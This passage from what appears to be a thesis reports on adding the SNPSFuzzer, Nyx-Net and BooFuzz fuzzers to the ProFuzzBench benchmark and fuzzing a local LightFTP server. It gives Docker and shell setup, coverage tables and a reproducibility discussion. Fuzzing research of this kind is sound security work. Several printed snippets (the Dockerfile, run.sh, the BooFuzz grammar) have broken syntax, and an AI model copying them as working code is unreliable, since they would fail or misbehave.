section 4.8. - We describe the functionality and configuration of Nyx-Net. We also discuss the results of Nyx-Net on LightFTP in section 4.9. 4.1 Finding compatible fuzzers The ideal of ProFuzzBench is that researcher could use any fuzzer of their liking and extend ProFuzzBench with that fuzzers. However, due to the --- 1https://github.com/SNPSFuzzer/SNPSFuzzer 2https://github.com/jtpereyda/boofuzz 3https://github.com/hfiref0x/LightFTP scope of the thesis we only looked at AFL-based fuzzers such that meaningful results could be presented. This is because ProFuzzBench already has an implementation of AFLnet which should make it easier to extend new AFL-based fuzzers with. Daniele et al. provide a comprehensive overview of stateful fuzzers used today\cite{3}. However, while some of these AFL-based fuzzers that were mentioned in the article did not have any source code, making them impractical for this experiment because there is no possible way to run those fuzzers. FFuzz\footnote{https://github.com/Epeius/FFuzz/tree/master} did provide source code but lacked proper documentation of the software dependencies. In table 4.1 we present the fuzzers that were mentioned in the article and tested if they were compatible with ProFuzzBench. <table> <thead> <tr> <th>Fuzzer</th> <th>Based on</th> <th>Source code</th> <th>Issues</th> </tr> </thead> <tbody> <tr> <td>Nyx-Net</td> <td>AFL</td> <td>yes</td> <td>Missing KVM modules</td> </tr> <tr> <td>FFuzz</td> <td>AFL</td> <td>yes</td> <td>No documentation</td> </tr> <tr> <td>FitM</td> <td>AFL</td> <td>yes</td> <td>No clear instruction for fuzzing targets</td> </tr> <tr> <td>SNPS-fuzzer</td> <td>AFL</td> <td>yes</td> <td>No proper documentation on usage</td> </tr> <tr> <td>EPF</td> <td>AFL</td> <td>yes</td> <td></td> </tr> <tr> <td>GANFuzz</td> <td>seq-gan model</td> <td>no</td> <td></td> </tr> <tr> <td>SGPFuzzer</td> <td>AFL</td> <td>no</td> <td></td> </tr> <tr> <td>SPFuzz</td> <td>AFL</td> <td>no</td> <td></td> </tr> <tr> <td>Chen et al</td> <td>AFL</td> <td>no</td> <td></td> </tr> <tr> <td>SeqFuzzer</td> <td>seq2seq model</td> <td>no</td> <td></td> </tr> </tbody> </table> Table 4.1: List of fuzzers which were tested if they could be extended with ProFuzzBench Some of the fuzzers like SGPFuzzer and FFuzz that had source code were discovered solely through searching via GitHub on the repository name, a simple Google search was not enough because of the non-SEO friendly naming of those fuzzers. FitM (Fuzzer In The Middle)\footnote{https://github.com/fgsect/FitM} did have source code and had proper documentation. However it was not a suitable candidate due to the input requirements of FitM which we could not retrieve from LightFTP due to time limitations. EPF was pretty well documented and did provide source code, but was left out, again due to time limitations. This leaves us with SNPSFuzzer and Nyx-net which we discuss in section 4.4 and section 4.6. 4.2 Testing Environment The fuzzing was done on one machine with the following specifications: <table> <thead> <tr> <th>Hardware</th> <th></th> </tr> </thead> <tbody> <tr> <td>OS</td> <td>Ubuntu 22.04 LTS</td> </tr> <tr> <td>CPU</td> <td>AMD Ryzen 9 5900HX (8 cores, 16 threads)</td> </tr> <tr> <td>RAM</td> <td>32 Gigabytes</td> </tr> </tbody> </table> Table 4.2: Hardware specifications The goal of our experiment is to find see how easy it is to fuzz a target (LightFTP) from ProFuzzBench with a fuzzer of choosing. During this experiment we fuzz LightFTP for one hour with AFLnet, AFLnwe and SNPSFuzzer using 4 parallel docker builds. Furthermore, we give detailed explanation on the modifications to integrate SNPSFuzzer to ProFuzzBench. 4.3 AFLnet and AFLnwe We first look at the results of the fuzzers that come packaged with ProFuzzBench. AFLnet and AFLnwe are both based on AFL. However, AFLnwe differs in that it is just a “network-enabled” version of AFL where AFLnwe sends mutated inputs over TCP/IP socket instead of using a file I/O[6]. AFLnet is much more modified fork of AFL. AFLnet organizes an input as session with multiple messages and can mutate messages at the message level[6][7]. This means it can drop and duplicate messages rather than mutating bytes which is done with AFLnwe. 4.3.1 Building and running AFLnet and AFLnwe ProFuzzBench already provides a dockerfile where we can build AFLnet and AFLnwe together with LightFTP. We only need to run this command inside of the ProFuzzBench repository: ``` 1 cd $PFBENCH 2 cd subjects/FTP/LightFTP 3 docker build . -t lightftp-afl ``` We fuzz LightFTP for 1 hour with AFLnet and AFLnwe using this command: ``` 1 profuzzbench_exec_common.sh lightftp 4 results-lightftp aflnet out-lightftp-aflnet "-P FTP -D 10000 -q 3 -s 3 -E -K -m none" 3600 5 & 2 profuzzbench_exec_common.sh lightftp 4 results-lightftp aflnwe out-lightftp-aflnwe "-D 10000 -K -m none" 3600 5 ``` We can use specific run time parameters of AFLnet to control the fuzzing process: 1. \((-P)\) is used to specify which protocol is used, in this case FTP. 2. \((-D)\) is the optional waiting time for the server to complete initialization before AFLnet starts fuzzing. 3. State selection \((-q)\) and seed selection \((-a)\) algorithm are both set to favor. 4. We use \((-x)\) option that allows the SUT to shutdown gracefully. 5. We enable state-aware mode using the \((-E)\). 6. We disable the memory-limit imposed by ASAN by using the \((-m\ none)\) option. Both AFLnwe and AFLnet fail to start fuzzing without this option. ### 4.4 SNPSFuzzer SNPSFuzzer is a greybox fuzzer for stateful systems using snapshots. SNPSFuzzer restores the SUT to a specific state that the fuzzer can do fuzzing on. This should improve the message processing speed and increase edge coverage[8]. SNPSFuzzer also makes use of a message chain algorithm which in mutates messages in a certain message chain in order to get to a new state in the SUT. We need to package SNPSFuzzer together with the LightFTP software in a Dockerfile. With this Dockerfile, we can make a docker image which enables us to run the experiment with the same environment and correct environment variables every time. ProFuzzBench recommends to build the new fuzzer on a new docker image separate from the one that already contains AFLnet and AFLnwe. This is because AFLnet sets environment variables which SNPSFuzzer recognizes due to being based on AFL. Furthermore, this also creates issues with the afl-fuzz compiler which both AFLnet and SNPSFuzzer use. #### 4.4.1 Building and running SNPSFuzzer SNPSFuzzer uses the python-protobuf package for compiling the fuzzer itself. python-protobuf is a python2 package and python2 is no longer supported and most modern linux distributions already transitioned to python3. Nonetheless, using docker we can build an old Ubuntu 16.04 (or 18.04) and install python-protobuf directly with no issues. In appendix A.1 is a complete implementation of SNPSFuzzer with docker. We also need to modify the provided run.sh file which the docker containers use such that we can run SNPSFuzzer with the profuzzbench_exec_common.sh such that it follows the ProFuzzBench workflow (see section 3.1). The run.sh starts with this: It checks if the fuzzer argument which is given when `profuzzbench_exec_common.sh` is run, contains the word 'afl' which is not in SNPSFuzzer. We modify `run.sh` as follows: ```bash #!/bin/bash # Commands for afl-based fuzzers (e.g., aflnet, aflnwe) if $(strstr $FUZZER "afl"); then # Fuzzing # Run fuzzer-specific commands (if any) if [ -e ${WORKDIR}/run-${FUZZER} ]; then source ${WORKDIR}/run-${FUZZER} fi TARGET_DIR=${TARGET_DIR:-"LightFTP"} INPUTS=${INPUTS:-"${WORKDIR}/in-ftp"} #Step-1. Do Fuzzing # Move to fuzzing folder cd ${WORKDIR}/${TARGET_DIR}/Source/Release echo "${WORKDIR}/${TARGET_DIR}/Source/Release" timeout -k 0 --preserve-status $TIMEOUT /home/ubuntu/${FUZZER}/afl-fuzz -d -i ${INPUTS} -x ${WORKDIR}/ftp.dict -o ${OUTDIR} -N tcp://127.0.0.1:2200 $OPTIONS -c ${WORKDIR}/ftpclean ./fftp 2200 ``` Due to SNPSFuzzer being based on AFL and thus uses the same `afl-fuzz` compiler on line 29. We only need to modify a bit to make the script run SNPSFuzzer: ```bash #!/bin/bash # Commands for afl-based fuzzers (e.g., aflnet, aflnwe) if [[ $FUZZER = "aflnet" ]] || [[ $FUZZER = "aflnwe" ]] || [[ $FUZZER = "SNPSFuzzer" ]]; then # Run fuzzer-specific commands (if any) if [ -e ${WORKDIR}/run-${FUZZER} ]; then source ${WORKDIR}/run-${FUZZER} fi TARGET_DIR=${TARGET_DIR:-"LightFTP"} ``` Same in name and structure but not in configuration and environment variables! Now we can run SNPSFuzzer on each docker container, see appendix A.2 for the full code of run.sh. ### 4.5 ProFuzzBench plotting modifications The third step in the ProFuzzBench workflow (see figure 3.1) is analysis. Here ProFuzzBench already provides a script to get line and edge coverage of the output in a CSV format. However, we again need to make some modifications to make it also plot the line and edge coverages from SNPSFuzzer. Fortunately, it is very simple fix that we need to do in profuzzbench_plot.py: ```python def main(csv_file, put, runs, cut_off, step, out_file): # Read the results df = read_csv(csv_file) mean_list = [] for subject in [put]: for fuzzer in ['aflnet', 'aflnwe']: ``` Must be changed to: ```python def main(csv_file, put, runs, cut_off, step, out_file): # Read the results df = read_csv(csv_file) # Calculate the mean of code coverage # Store in a list first for efficiency mean_list = [] fuzzers = df.fuzzer.unique() for subject in [put]: for fuzzer in fuzzers: ``` There is no need to hardcode the names of the fuzzers. By avoiding this, ProFuzzBench becomes more configurable, saving time on bug fixing. ### 4.6 Coverage results of AFLnet, AFLnwe and SNPS-Fuzzer <table> <thead> <tr> <th></th> <th>SNPSFuzzer (no mca)</th> <th>SNPSFuzzer</th> <th>AFLnet</th> <th>AFLnwe</th> </tr> </thead> <tbody> <tr> <td>Executions per second</td> <td>7,5725</td> <td>6,97</td> <td>7,96</td> <td>40,9125</td> </tr> <tr> <td>Total executions</td> <td>28860</td> <td>29809</td> <td>33291</td> <td>147746</td> </tr> <tr> <td>Total paths found</td> <td>274</td> <td>264</td> <td>279</td> <td>69</td> </tr> <tr> <td>Paths found</td> <td>272</td> <td>262</td> <td>277</td> <td>67</td> </tr> </tbody> </table> Table 4.3: Additional fuzzing results of LightFTP using SNPSFuzzer, AFLnet and AFLnwe From figure [4.1](#) [4.2](#) and table [4.3](#), we notice that SNPSFuzzer performs almost identical or sometimes worse than AFLnet. We find this strange because one would assume that SNPSFuzzer which is based on AFLnet should perform better when it also uses snapshotting. [8] claims that SNPSFuzzer should have found more paths in LightFTP than AFLnet. We suspect that the snapshotting does not function correctly with LightFTP and we were unable to find a workaround due to poor documentation. We see that AFLnwe has the highest throughput in terms of executions per second. However, AFLnwe is not a message-oriented fuzzer (like AFLnet and SNPSFuzzer), which sends messages and analyzes the receiving message, as AFLnwe just sends an uninterrupted stream of bytes. This explains the high amount of executions per second. This also explains why AFLnwe does not find much paths in comparison to AFLnet and SNPSFuzzer. Figure 4.1: Edge coverage SNPSFuzzer on LightFTP Figure 4.2: Line coverage SNPSFuzzer on LightFTP Figure 4.3: Edge coverage of AFLnet and AFLnwe on LightFTP 4.7 BooFuzz We also wanted to look at the performance of a blackbox fuzzer on LightFTP. For this thesis, we used BooFuzz, a grammar based fuzzer. BooFuzz uses a provided grammar and mutates it to fuzz specific target that accept that grammar. Furthermore, when the SUT crashes, BooFuzz logs the mutated output which caused the crash and restarts the SUT for further fuzzing. For this experiment we use a simple FTP grammar (see appendix A.3) and fuzz LightFTP for one hour. Because BooFuzz does not use coverage and has no knowledge of the internal implementation of LightFTP, BooFuzz can not be benchmarked with ProFuzzBench. 4.7.1 Building and running BooFuzz Installing BooFuzz is straightforward with the `pip install boofuzz` command and BooFuzz is in comparison with the fuzzers we discussed very documented. The SUT (LightFTP) needs to be already running before we begin fuzzing with BooFuzz. We can manually run the LightFTP (version 2.0 for fuzzing) server by compiling LightFTP using the AFL compiler: ```bash 1 cd /path/to/LightFTP/Source/Release # go to executable LightFTP ``` With `fttp.conf` we configure the server such that it accepts certain users like `ubuntu` that have a specific password and run it on localhost with port 2200. Now BooFuzz can fuzz on the LightFTP server using that port. We then need to run the following command to run BooFuzz for 1 hour: ``` # time python3 boofuzz_lightftp.py 3600 ``` ### 4.8 Performance results of BooFuzz on LightFTP Because BooFuzz only can register crashes we can only measure how many crashes it finds. BooFuzz performed in total 135287 executions resulting in a executions speed of 37.6 executions per second. However, after one hour there were no crashes found with BooFuzz. ### 4.9 Nyx-Net We also tried Nyx-Net\(^7\), a snapshot-based fuzzer. This fuzzer was most interesting because the researchers used ProFuzzBench in their paper to fuzz their targets. Nyx-Net uses a hypervisor for their snapshots\(^9\). Hypervisors can run between the hardware and the guest-OS (type-1 hypervisor/bare-metal hypervisors) or one can run the hypervisor between the host-OS and the guest-OS\(^10\). To be more specific, Nyx-Net uses a modified version of QEMU\(^8\) and KVM\(^9\) that allows the Linux kernel to function as a hypervisor\(^11\). KVM uses hardware virtualization extensions provided by modern CPU to run the guest-OS inside of the VM natively. This setup ensures high performance virtualization\(^9\). #### 4.9.1 Building and running Nyx-Net Because we can not use docker with the modified version of QEMU that Nyx-Net uses, we choose to use a Ubuntu 21.04 VM to install and use Nyx-Net. The reason that we use Ubuntu 21.04 is to ensure we have similar setup as \(^9\) suggest. We already run into another issue that Ubuntu 21.04 is no longer supported and using the standard `sudo apt update && apt upgrade` does not work out of the box, but this is easily mitigated by using an archive of the ubuntu package sources. This can be done using the following command: \(^7\)https://github.com/RUB-SysSec/nyx-net \(^8\)Quick Emulator \(^9\)Kernel-based Virtual Machine We can then compile Nyx-Net using the `setup.sh` script in the Nyx-Net repository: ```bash cd nyx-net ./setup.sh ``` Another issue with the current codebase (which also uses Rust) of Nyx-Net is that it is not compatible with the current version of Rust\textsuperscript{10} The rust compiler gives the following error message: ``` error: reference to packed field is unaligned 222 | &self.feedback_data.shared.ijon.max_data | = warning: this was previously accepted by the compiler but | is being phased out; it will become a hard error in a | future release! ``` We avoid this error by using a older rust version\textsuperscript{11}. Now that we have the fuzzer compiled, we need to build LightFTP to make it compatible with Nyx-Net. Fortunately, Nyx-Net already provides a script which builds and packages LightFTP in a format which Nyx-Net can do fuzzing on. We run this script using the following command: ``` ./nyx-net/targets/packer_scripts/pack_lightFTP.sh ``` Before we can fuzz LightFTP with Nyx-Net we need to enable the KVM module on our virtual machine. We use the following commands to enable the KVM: ```bash sudo modprobe -r kvm_amd # unload kvm module specific for AMD #CPU's sudo modprobe -r kvm # unload standard kvm module sudo modprobe kvm enable_vmware_backdoor=y # reload standard kvm module with vmware backdoor enabled sudo modprobe kvm_amd # reload kvm module specific for AMD #CPU's ``` To run Nyx-Net on LightFTP we need to run the following command: ``` cargo run --release -- -s ../../targets/packed_targets/nyx_lightftp/ ``` We let Nyx-Net fuzz LightFTP for one hour but unfortunately the results were quite disappointing. From figure\textsuperscript{14} we notice that Nyx-Net hangs at around 26.5 percent line coverage and 15.4 percent edge coverage. Nyx-net should perform 10 percent better than AFLnet\textsuperscript{10}. \textsuperscript{10}version 1.69.0 \textsuperscript{11}version 1.56 <table> <thead> <tr> <th>Time</th> <th>Fuzzer</th> <th>Lines_cov</th> <th>Lines_abs</th> <th>Edge_cov</th> <th>Edge_abs</th> </tr> </thead> <tbody> <tr> <td>1685898808</td> <td>nyx-aggressive</td> <td>25.3</td> <td>286</td> <td>13.4</td> <td>108</td> </tr> <tr> <td>1685898810</td> <td>nyx-aggressive</td> <td>25.3</td> <td>286</td> <td>13.4</td> <td>108</td> </tr> <tr> <td>1685898812</td> <td>nyx-aggressive</td> <td>25.3</td> <td>286</td> <td>13.4</td> <td>108</td> </tr> <tr> <td>1685898813</td> <td>nyx-aggressive</td> <td>25.3</td> <td>286</td> <td>13.4</td> <td>108</td> </tr> <tr> <td>1685898814</td> <td>nyx-aggressive</td> <td>25.3</td> <td>286</td> <td>13.4</td> <td>108</td> </tr> <tr> <td>1685898816</td> <td>nyx-aggressive</td> <td>25.3</td> <td>286</td> <td>13.4</td> <td>108</td> </tr> <tr> <td>1685898818</td> <td>nyx-aggressive</td> <td>25.3</td> <td>286</td> <td>13.4</td> <td>108</td> </tr> <tr> <td>1685898822</td> <td>nyx-aggressive</td> <td>25.3</td> <td>286</td> <td>13.4</td> <td>108</td> </tr> <tr> <td>1685898828</td> <td>nyx-aggressive</td> <td>26.3</td> <td>300</td> <td>15.4</td> <td>124</td> </tr> <tr> <td>1685898828</td> <td>nyx-aggressive</td> <td>26.3</td> <td>300</td> <td>15.4</td> <td>124</td> </tr> </tbody> </table> Table 4.4: Coverage data points of Nyx-Net on LightFTP We reached out to one of the researchers involved in the development of Nyx-Net, and they informed us that the public version of the Nyx-Net codebase, which was outdated, was not utilized for the paper. We noticed similarities with the data they collected using the outdated version of Nyx-Net with our results. The updated version of Nyx-Net did match with the results from [9]. However, we can not use those results because we have no way to verify those results. \[ https://github.com/RUB-SysSec/nyx-net-profuzzbench/blob/ab5078b3eda2f433eac5fd3d6c640f7ffcc85e72/data/noseeds/lightftp.csv \] \[ https://github.com/RUB-SysSec/nyx-net-profuzzbench/blob/ab5078b3eda2f433eac5fd3d6c640f7ffcc85e72/data/with-newspec/lightftp.csv \] Chapter 5 Reproducibility of fuzzing As we can see from the results of SNPSFuzzer and Nyx-Net, we were not able to reproduce the results which the researchers of those fuzzers claimed in their respective papers\cite{8, 9}. Even though the hardware differs from those papers there should be at least a minimal improvement compared to AFLnet. We also saw that some fuzzers discussed in this thesis (see section 4.1) did not provide source code or proper documentation of that source code. We are deeply concerned about reproducibility of the scientific results from those fuzzers. One should assume that a scientific paper where a researcher shows that for example fuzzer A performs significantly better than fuzzer B that those results can be reproduced by different researcher using a different machine. However, this what not the case with the experiments reported in section 4.6 of this thesis. One cause maybe that the source code is not maintained after the publication of the research. This was the case with Nyx-Net where the researcher told us that the source code of Nyx-Net, which was public, was not updated after the paper\cite{9} was published. 5.1 ACM artifact review for reproducibility To further improve the reproducibility of fuzzers in research, ACM has partially adopted the process of artifact review\cite{12}. An artifact in this case is a digital object that was created and used by the authors in experiments. This could be whole software systems, scripts to run the experiments, input data or raw data collected in the experiment. These artifacts are submitted and reviewed. The corresponding paper will have a badge that will state whether the artifacts were available, functional or reusable and if the results were even reproducible (see figure 5.1). Chapter 6 Future Work The subsequent sections provide a summary of research recommendations aimed at extending ProFuzzBench even further. 6.1 Adding more fuzzers to ProFuzzBench We only looked at adding three fuzzer to ProFuzzBench, extending ProFuzzBench even further would offer more interesting comparisons with SNPSFuzzer and AFLnet. For example, we can look at fuzzers like FitM which needs some further investigation how its inputs work in order for FitM to work on ProFuzzBench. This could provide yet another meaningful comparison to AFLnet which is also based on AFL. Daniele et al. also provide a list of other fuzzers which were not based on AFL like for example AspFuzz. A nice inclusion to that article would be to also specify which fuzzers do have or did not provide source code. 6.2 Extending the duration of fuzzing Another area for further research could be the duration of the fuzzing. The duration could be extended to for example like 24 hours as 1 hour of fuzzing LightFTP did not result in any crashes. However, we have doubts if fuzzing for longer would improve the code coverage of SNPSFuzzer or AFLnet. From figure 4.2 and 4.4 we notice no significant improvement in code coverage after 30 minutes. 6.3 Testing on different SUT’s Furthermore, this thesis only looked at one target, LightFTP. Using more targets may give a more comprehensive analysis of fuzzers on multiple targets. One could look at the performance of SNPSFuzzer and AFLnet on for example Live555 (a RTSP server) or OpenSSH. 6.4 Adding coverage to blackbox fuzzers There is also further research to be done on getting code coverage from blackbox fuzzers. BooFuzz does have an open pull request where it adds code coverage to BooFuzz using AFL instrumentation\(^1\). This pull request is not merged yet and thus not in the latest version of BooFuzz. 6.5 Vulnerabilities as a performance metric We could use also look at vulnerabilities from CVEs or from OSS-Fuzz and use those vulnerabilities as a metric whether a fuzzer can find them or not. This approach is also used for AFLnet in \(^2\) where AFLnet, AFLnwe and BooFuzz are compared on how fast the fuzzers can find known CVEs. OSS-Fuzz\(^2\) is an open-source project maintained by Google which provides a framework for open source software to implement fuzzing technique for finding more security vulnerabilities. It also provides a platform\(^3\) where users can report bugs they found through fuzzing, such it can be fixed quickly. One could use this platform to check for vulnerabilities in one of the targets of ProFuzzBench. However, OSS-fuzz only supports stateless fuzzing to find vulnerabilities in stateful SUTs, so it can be the case that a stateful fuzzer could find more bugs than what is reported in OSS-fuzz. \(^1\)https://github.com/jtpereyda/boofuzz/pull/508 \(^2\)https://google.github.io/oss-fuzz/ \(^3\)https://bugs.chromium.org/p/oss-fuzz/issues/list Chapter 7 Conclusions At first glance, fuzzing appears to be a simple and automated method to discover bugs and vulnerabilities. However, a significant amount of underlying groundwork is required to ensure fuzzers work as intended. Think of complications like software dependencies or incorrect compiler versions, which could hours to debug. Consider, too, whether the fuzzer can operate within a Docker container. For instance, it took approximately two weeks to get SNPSFuzzer to compile and run inside of a Docker container. Furthermore, it took us a month to successfully set up Nyx-Net, but even then, it failed to generate significant results due to outdated source code. We then needed to figure out if we can run SNPSFuzzer and Nyx-Net on LightFTP. It takes a considerable amount of time to make a specific SUT like LightFTP work with SNPSFuzzer and Nyx-Net. Nevertheless, once we successfully executed SNPSFuzzer and Nyx-Net on LightFTP, further experimentation, like longer duration, on LightFTP with SNPSFuzzer became relatively straightforward. In the case of SNPSFuzzer, we accomplished this by building a Docker container in which we built and compiled both SNPSFuzzer and LightFTP, allowing us to subsequently run SNPSFuzzer on LightFTP. Additionally, for Nyx-Net, we employed a virtual machine configuration where Nyx-Net ran on a LightFTP server. To ensure that we ran Nyx-Net on the same LightFTP server, we build a docker container which only contained LightFTP. This container ran inside of the virtual machine. Regrettably, should we wish to utilize a different SUT, it becomes necessary once more to modify the SUT to ensure that we can run the SUT with our fuzzers, and proceed with creating a docker container for the new SUT following the ProFuzzBench workflow (see figure 3.1). This needs to be repeated for each new fuzzer. We can also look at blackbox fuzzers like BooFuzz are suited for fuzzing a SUT like LightFTP but it can not perform well without building a proper \[1\text{working full time 2 days per week}\] grammar which must be done for every SUT. Furthermore, it is hard to compare blackbox fuzzers like BooFuzz with greybox fuzzers like AFL. This is because BooFuzz does not use coverage to mutate its messages and does not output coverage which makes it difficult to compare it with AFL fuzzers like AFLnet and SNPSFuzzer. The only metrics we could use to compare AFL fuzzers with BooFuzz is the number of crashes and the executions per second. However, there are some advancements in getting code coverage from blackbox fuzzers like BooFuzz (see section 6.4). We also discussed about the reproducibility of fuzzing. We noticed that many researchers do not provide source code for their fuzzers (see table 4.1) and thus providing no way to replicate their results. We do see that publishers such as ACM are trying to encourage researchers to make their research more reproducible using artifact review (see chapter 5). From our experiments we concluded that it is not easy to extend ProFuzzBench with more fuzzers, but do see the potential on how it can make artifact review easier and thus improving reproducibility. Bibliography Appendix A Appendix A.1 Dockerfile SNPSFuzzer ```bash FROM ubuntu:16.04 # Install common dependencies ENV DEBIAN_FRONTEND=noninteractive RUN apt-get -y update & apt-get -y install sudo & apt-get -y install build-essential & openssl & clang & graphviz-dev & git & autoconf & libgnutls28-dev & libssl-dev & llvm & python3-pip & nano & net-tools & vim & gdb & netcat & strace & wget # Set up fuzzers RUN sudo apt-get -y install libprotobuf-dev & libprotobuf-c-dev & protobuf-c-compiler & protobuf-compiler & python-protobuf & libnl-3-dev & libnet-dev & libbsd-dev & libaio-dev & ``` RUN sudo apt-get -y --no-install-recommends install asciidoc RUN sudo apt-get -y --no-install-recommends install xmlto # Add a new user ubuntu, pass: ubuntu RUN groupadd ubuntu && \ useradd -rm -d /home/ubuntu -s /bin/bash -g ubuntu -G sudo -u 1000 ubuntu -p "$(openssl passwd -1 ubuntu)" RUN chmod 777 /tmp RUN echo '%%sudo ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers RUN pip3 install gcovr==4.2 # Use ubuntu as default username USER ubuntu WORKDIR /home/ubuntu # Import environment variable to pass as parameter to make (e.g. , to make parallel builds with -j) ARG MAKE_OPT # Set up fuzzers RUN git clone https://github.com/SNPSFuzzer/SNPSFuzzer.git && \ cd SNPSFuzzer && \ cd criu4snpsfuzzer && \ make && sudo make install && \ sudo cp ./lib/c/libcriu.so /usr/local/lib/libcriu.so.2 && \ sudo ldconfig && \ cd ~ ENV SNPSFUZZER="/home/ubuntu/SNPSFuzzer" RUN cd ~ RUN cd $SNPSFUZZER && make && cd llvm_mode && make && cd .. && sudo make install # Set up environment variables for SNPSFUZZER ENV WORKDIR="/home/ubuntu/experiments" ENV LLVM_CONFIG="llvm-config-3.8" ENV PATH="${PATH}:${SNPSFUZZER}:${HOME}/local/bin:${WORKDIR}" ENV AFL_PATH="${SNPSFUZZER}" ENV AFL_I_DONT_CARE_ABOUT_MISSING_CRASHES=1 \ AFL_SKIP_CPUFREQ=1 \ AFL_NO_AFFINITY=1 RUN mkdir $WORKDIR COPY --chown=ubuntu:ubuntu fuzzing.patch ${WORKDIR}/fuzzing.patch COPY --chown=ubuntu:ubuntu gcov.patch ${WORKDIR}/gcov.patch # Set up environment variables for ASAN ENV ASAN_OPTIONS='abort_on_error=1:symbolize=0:detect_leaks=0: detect_stack_use_after_return=1:detect_container_overflow =0:poison_array_cookie=0:malloc_fill_byte=0: max_malloc_fill_size=16777216' # Download and compile LightFTP for fuzzing RUN cd ${WORKDIR} && \ git clone https://github.com/hfiref0x/LightFTP.git && \ cd LightFTP && \ git checkout 5980ea1 && \ patch -p1 < ${WORKDIR}/fuzzing.patch && \ cd Source/Release && \ AFL_USE_ASAN=1 CC=afl-clang-fast make clean all $MAKE_OPT # Set up LightFTP for fuzzing RUN cd ${WORKDIR}/LightFTP/Source/Release && \ cp ${SNPSFUZZER}/tutorials/lightftp/fttp.conf ./ && \ cp ${SNPSFUZZER}/tutorials/lightftp/ftpclean.sh ./ && \ chmod 777 ftpclean.sh && \ mkdir /home/ubuntu/ftpshare # Download and compile LightFTP for coverage analysis RUN cd ${WORKDIR} && \ git clone https://github.com/hfiref0x/LightFTP.git LightFTP -gcov && \ cd LightFTP-gcov && \ git checkout 5980ea1 && \ patch -p1 < ${WORKDIR}/gcov.patch && \ cd Source/Release && \ make CFLAGS="-fprofile-arcs -ftest-coverage" CPPFLAGS="-fprofile-arcs -ftest-coverage" CXXFLAGS="-fprofile-arcs -ftest-coverage" LDFLAGS="-fprofile-arcs -ftest-coverage" clean all $MAKE_OPT # Set up LightFTP for fuzzing RUN cd ${WORKDIR}/LightFTP-gcov/Source/Release && \ cp ${SNPSFUZZER}/tutorials/lightftp/fttp.conf ./ && \ cp ${SNPSFUZZER}/tutorials/lightftp/ftpclean.sh ./ && \ chmod 777 ftpclean.sh COPY --chown=ubuntu:ubuntu in-ftp ${WORKDIR}/in-ftp COPY --chown=ubuntu:ubuntu ftp.dict ${WORKDIR}/ftp.dict COPY --chown=ubuntu:ubuntu cov_script.sh ${WORKDIR}/cov_script COPY --chown=ubuntu:ubuntu run.sh ${WORKDIR}/run COPY --chown=ubuntu:ubuntu clean.sh ${WORKDIR}/ftpclean ### Modifications ProFuzzBench Scripts ```bash #!/bin/bash Fuzzer=$1 # fuzzer name (e.g., aflnet) -- this name must match the name of the fuzzer folder inside the Docker container OUTDIR=$2 # name of the output folder OPTIONS=$3 # all configured options -- to make it flexible, we only fix some options (e.g., -i, -o, -N) in this script TIMEOUT=$4 # time for fuzzing SKIPCOUNT=$5 # used for calculating cov over time. e.g., SKIPCOUNT=5 means we run gcovr after every 5 test cases strstr() { [[ "${1#*}" = "$1" ]] && return 1 return 0 } # Commands for afl-based fuzzers (e.g., aflnet, aflnwe) if [[ $FUZZER = "aflnet" ]] || [[ $FUZZER = "aflnwe" ]] || [[ $FUZZER = "SNPSFuzzer" ]]; then # Run fuzzer-specific commands (if any) if [ -e ${WORKDIR}/run-$FUZZER ]; then source ${WORKDIR}/run-$FUZZER fi TARGET_DIR=${TARGET_DIR}:-"LightFTP" INPUTS=${INPUTS}:-"${WORKDIR}/in-ftp" #Step-1. Do Fuzzing # Move to fuzzing folder cd ${WORKDIR}/${TARGET_DIR}/Source/Release echo "${WORKDIR}/${TARGET_DIR}/Source/Release" if [ $FUZZER == "SNPSFuzzer" ]; then timeout -k 0 --preserve-status $TIMEOUT /home/ubuntu/${FUZZER}/afl-fuzz -d -i /home/ubuntu/NSPSFuzzer/tutorials/lightftp/in-ftp -x /home/ubuntu/NSPSFuzzer/tutorials/lightftp/ftp.dict -o $OUTDIR -N tcp://127.0.0.1/2200 $OPTIONS -c ${WORKDIR}/ftpclean ./fttp fttp.conf 2200 else timeout -k 0 --preserve-status $TIMEOUT /home/ubuntu/${FUZZER}/afl-fuzz -d -i $INPUTS -x ${WORKDIR}/ftp.dict -o $OUTDIR -N tcp://127.0.0.1/2200 $OPTIONS -c ${WORKDIR}/ftpclean ./fttp fttp.conf 2200 ``` #Step-2. Collect code coverage over time #Move to gcov folder ```bash cd ${WORKDIR}/LightFTP-gcov/Source/Release ``` #The last argument passed to cov_script should be 0 if the fuzzer is afl/nwe and it should be 1 if the fuzzer is based on aflnet #0: the test case is a concatenated message sequence -- there is no message boundary #1: the test case is a structured file keeping several request messages ```bash if [ ${FUZZER} = "aflnwe" ]; then cov_script ${WORKDIR}/${TARGET_DIR}/Source/Release/${OUTDIR}/2200 ${SKIPCOUNT} ${WORKDIR}/${TARGET_DIR}/Source/Release/${OUTDIR}/cov_over_time.csv 0 else cov_script ${WORKDIR}/${TARGET_DIR}/Source/Release/${OUTDIR}/2200 ${SKIPCOUNT} ${WORKDIR}/${TARGET_DIR}/Source/Release/${OUTDIR}/cov_over_time.csv 1 fi ``` ```bash gcovr -r .. --html --html-details -o index.html mkdir ${WORKDIR}/${TARGET_DIR}/Source/Release/${OUTDIR}/cov_html/ cp *.html ${WORKDIR}/${TARGET_DIR}/Source/Release/${OUTDIR}/cov_html/ ``` #Step-3. Save the result to the ${WORKDIR} folder #Tar all results to a file ```bash cd ${WORKDIR}/${TARGET_DIR}/Source/Release tar -zcvf ${WORKDIR}/${OUTDIR}.tar.gz ${OUTDIR} ``` ```bash exit ${STATUS} ``` ### A.3 Grammar model BooFuzz ```python from boofuzz import * session = Session(sleep_time=2, target=Target( connection=SocketConnection("127.0.0.1", 2200, proto='tcp')) ) user = Request("user", children=( String("key", "USER"), Delim("space", " ") String("val", "USER fouad"), Static("end", "\r\n") )) ``` passw = Request("pass", children=( String("key", "PASS"), Delim("space", " "), String("val", "PASS fouad"), Static("end", "\r\n"), )) stor = Request("stor", children=( String("key", "STOR"), Delim("space", " "), String("val", "AAAA"), Static("end", "\r\n"), )) retr = Request("retr", children=( String("key", "RETR"), Delim("space", " "), String("val", "AAAA"), Static("end", "\r\n"), )) def session.connect(user): session.connect(user, passw) #session.connect(passw, stor) #session.connect(passw, retr) session.fuzz()
